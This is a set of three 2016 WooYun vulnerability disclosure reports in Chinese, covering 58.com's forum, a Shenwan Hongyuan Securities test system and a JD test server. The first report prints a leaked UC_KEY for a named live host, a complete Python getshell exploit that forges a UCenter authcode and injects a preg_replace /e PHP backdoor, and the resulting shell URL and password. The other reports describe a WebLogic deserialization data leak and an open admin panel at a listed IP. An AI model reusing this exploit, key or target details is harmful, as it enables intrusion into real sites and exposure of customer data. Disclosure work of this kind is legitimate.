漏洞详情披露状态： 2016-05-08： 细节已通知厂商并且等待厂商处理中2016-05-08： 厂商已查看当前漏洞内容,细节仅向厂商公开2016-05-13： 厂商已经主动忽略漏洞，细节向公众公开简要描述：58同城详细说明：在乌云上发现 58 UC_KEY一个网址 http://bbs.wan.58.comUC_KEY Uet5r701maVbU04eIb49t2f2y021T2c2K3q9Tdi5Q16f35M3w1XeC7Z9n6X353A8用这个方法 import sysimport hashlibimport timeimport mathimport base64import urllib2import urllibimport reimport requestsimport jsonglobal cookieglobal formhashdef microtime(get_as_float = False) :if get_as_float:return time.time()else:return '%.8f %d' % math.modf(time.time())def get_authcode(string, key = ''):ckey_length = 4key = hashlib.md5(key).hexdigest()keya = hashlib.md5(key[0:16]).hexdigest()keyb = hashlib.md5(key[16:32]).hexdigest()keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()key_length = len(cryptkey)string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+stringstring_length = len(string)result = ''box = range(0, 256)rndkey = dict()for i in range(0,256):rndkey[i] = ord(cryptkey[i % key_length])j=0for i in range(0,256):j = (j + box[i] + rndkey[i]) % 256tmp = box[i]box[i] = box[j]box[j] = tmpa=0j=0for i in range(0,string_length):a = (a + 1) % 256j = (j + box[a]) % 256tmp = box[a]box[a] = box[j]box[j] = tmpresult += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))length=len(result)return keyc + base64.b64encode(result).replace('=', '')def get_cookie_formhash(host):global cookieglobal formhashheaders = {'content-type': 'application/json'}r=requests.get(host,headers=headers)cookie=r.cookieshash=re.findall(r'formhash" value="[0-9A-z]{1,10}"',r.text)_formhash=re.findall(r'"[0-9A-z]{1,10}"',hash[0])formhash=_formhash[0].replace('"','')def getshell(host,key):global cookieglobal formhashheader = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}tm=time.time()+10*3600agent=hashlib.md5("Mozilla/5.0 (Windows NT 6.1; WOW64)")string="agent=%s&time=%s&action=updatebadwords" % (agent,tm)code=urllib.quote(get_authcode(string,key))get_cookie_formhash(host)url="%s/api/uc.php?code=%s&formhash=%s" % (host,code,formhash)payload='''<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="0"><item id="findpattern">/admin/e</item><item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item></item></root>'''r=requests.post(url,data=payload,cookies=cookie,headers=header)print urlprint r.textif re.findall('^1',r.text):print 'success shell is %s/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin password is c' % (host)if __name__ == '__main__':commands=sys.argv[1:2]keys=sys.argv[2:]args="".join(commands)argss="".join(keys)print args,argssif len(args) < 5:sys.exit()else:getshell(args,argss)成功 shell漏洞证明：http://bbs.wan.58.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin c  修复方案：20吧版权声明：转载请注明来源 crocodile@乌云漏洞回应厂商回应：危害等级：无影响厂商忽略忽略时间：2016-05-13 10:10厂商回复： 漏洞Rank：15 (WooYun评价)最新状态：暂无

漏洞详情披露状态： 2016-05-01： 细节已通知厂商并且等待厂商处理中2016-05-03： 厂商已经确认，细节仅向厂商公开2016-05-13： 细节向核心白帽子及相关领域专家公开2016-05-23： 细节向普通白帽子公开2016-06-02： 细节向实习白帽子公开2016-06-17： 细节向公众公开简要描述：申万宏源证券也是全国前几的证券公司了啦，测试系统里就不要放真实的客户信息了啦申万宏源证券某测试系统存在漏洞，泄露百万客户真实信息，包括姓名/身份证号/手机号/家庭住址/邮箱等，泄露部分员工信息详细说明：只查了很少的数据证明漏洞存在，没有做坏事，不要查我的水表申万宏源的这个测试系统存在JAVA weblogic反序列化漏洞连上服务器，真的是测试服务器，系统时间都不是当前时间连上数据库客户信息，有姓名，身份证号，手机号，开户网点109W客户信息不知道是什么人员的信息，[email protected]/* */521个从邮箱看应该是员工信息，有姓名，手机号，身份证号，邮箱，MSN，QQ，家庭住址4000多个不知道是什么短信37W短信这个是基金经理的信息么1000多个连上另一个数据库看看还是客户信息，有姓名，手机号，身份证号，家庭住址1.5W客户信息不知道是什么信息100多个 漏洞证明：见详细说明修复方案：打补丁生产数据导到测试环境总要脱敏的啦版权声明：转载请注明来源 z_zz_zzz@乌云漏洞回应厂商回应：危害等级：高漏洞Rank：12确认时间：2016-05-03 11:33厂商回复：该系统为我司的测试系统，我们将尽快予以整改和修复，感谢对我司的关注和支持。最新状态：2016-05-03：已经处理完毕，谢谢！

漏洞详情披露状态： 2016-05-08： 细节已通知厂商并且等待厂商处理中2016-05-10： 厂商已经确认，细节仅向厂商公开2016-05-20： 细节向核心白帽子及相关领域专家公开2016-05-30： 细节向普通白帽子公开2016-06-09： 细节向实习白帽子公开2016-06-24： 细节向公众公开简要描述：京东SAF服务测试服务器未授权访问详细说明：京东SAF服务测试服务器admin访问http://58.16.64.31/index.action直接Admin用户登录，虽然是测试系统，但还是可以暴露一些信息用户：SAF管理面板：直接是admin权限操作最近还有人进行测试操作，说明还在使用：漏洞证明：http://58.16.64.31/index.action直接Admin用户登录，虽然是测试系统，但还是可以暴露一些信息用户：SAF管理面板：直接是admin权限操作修复方案：内网访问，需登录版权声明：转载请注明来源 tiebuchen@乌云漏洞回应厂商回应：危害等级：低漏洞Rank：1确认时间：2016-05-10 09:50厂商回复：经确认，该问题为第三方厂商遗弃业务，已通知其修复处理。非常感谢大家对京东安全的支持！最新状态：暂无